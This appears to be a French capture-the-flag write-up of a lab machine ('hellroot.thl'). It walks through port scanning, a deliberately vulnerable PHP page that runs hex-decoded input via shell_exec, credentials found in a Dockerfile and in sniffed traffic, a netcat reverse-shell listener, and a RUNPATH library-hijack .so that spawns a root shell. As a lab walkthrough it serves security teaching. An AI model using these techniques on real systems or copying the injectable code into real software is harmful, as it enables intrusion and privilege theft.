Outils Utilisés
Machine d'attaque : 192.168.56.247
Machine cible : 192.168.56.142
Outils : nmap, nc, tcpdump
Collecte d'Informations
Découverte d'Hôtes
arp-scan -I eth1 -l
# Résultat similaire à 192.168.56.142 comme hôte actif
Scan de Ports
nmap -p- 192.168.56.142
# Ports ouverts identifiés : 22 (ssh), 80 (http), 222, 443 (https), 5000 (upnp)
Accès aux Services
curl -k https://192.168.56.142
# Redirection vers git.hellroot.thl
Modification du fichier hosts pour résoudre les domaines :
192.168.56.142 git.hellroot.thl hellroot.thl dns.hellroot.thl
Analyse des Fichiers Découvetrs
000-default.conf
Configuration serveur web indiquant des domaines supplémentaires.
Dockerfile
RUN useradd -m user1 && echo "user1:pass123" | chpasswd && \
echo "user1 ALL=(ALL:ALL) NOPASSWD: /bin/su" > /etc/sudoers.d/user1-su && \
chmod 440 /etc/sudoers.d/user1-su
index.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['param'])) {
$entree = trim($_POST['param']);
$converti = @hex2bin($entree);
if ($converti !== false && ctype_print($converti)) {
if (strpos($converti, ';') !== false) {
$sortie = shell_exec($converti . ' 2>&1');
} else {
$cible = escapeshellarg($converti);
$sortie = shell_exec("nslookup $cible 2>&1");
}
} else {
$cible = escapeshellarg($entree);
$sortie = shell_exec("nslookup $cible 2>&1");
}
}
?>
Résumé et Vecteur d'Attaque
La cible exécute un environnement Docker avec des services web. Les identifiants décuoverts dans le Dockerfile sont "user1:pass123". L'application web permet l'exécution de commandes via l'encodage hexadécimal avec point-virgule. Chemin d'attaque : exploiter l'exécution de commandes pour obtenir un shell, puis escalader via les privilèges sudo.
Obtention d'un Accès Initial
Exécution de Commnades Encodées
Encoder une commande en hexadécimal avec un point-virgule pour l'injection.
Réception du Shell
nc -lvnp 4444
# Connexion établie, obtention d'un shell avec uid www-data
Escalade dans Docker
su - user1
pass123
sudo su -
# Acquisition des privilèges root dans le conteneur
Capture de Trafic Réseau
Sniffing avec tcpdump
tcpdump -w capture.pcap -i eth0
Indice trouvé dans un fichier texte suggérant l'utilisation d'outils de capture.
Analyse des Paquets
Dans le fichier pcap, un paquet POST révèle des identifiants :
username : "user1"
password : "longMotDePasse123"
Accès via SSH
ssh user1@192.168.56.142
# Utilisation des identifiants découverts pour se connecter
Élévation de Privilèges sur l'Hôte
Détection de Binaires SUID
Deux binaires inhabituels trouvés avec le bit SUID : /usr/local/bin/logview et /usr/local/bin/secmonitor.
Utilisation de logview
./logview ../root/root.txt
# Lecture du fichier flag en exploitant le chemin relatif
Analyse de secmonitor
readelf -d secmonitor | grep "NEEDED"
# Dépendance à libmonitor.so
Le RUNPATH est défini sur le répertoire courant, permettant le détournement de bibliothèque.
Création d'une Bibliothèque Malveillante
// libmalediction.c
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void init_func() {
setgid(0);
setuid(0);
system("/bin/bash");
}
gcc -shared -fPIC -o /tmp/libmonitor.so /tmp/libmalediction.c
Exécution et Obtenir Root
/usr/local/bin/secmonitor
# Le binaire charge la bibliothèque malveillante, donnant un shell root
Vérification avec id montre uid=0(root).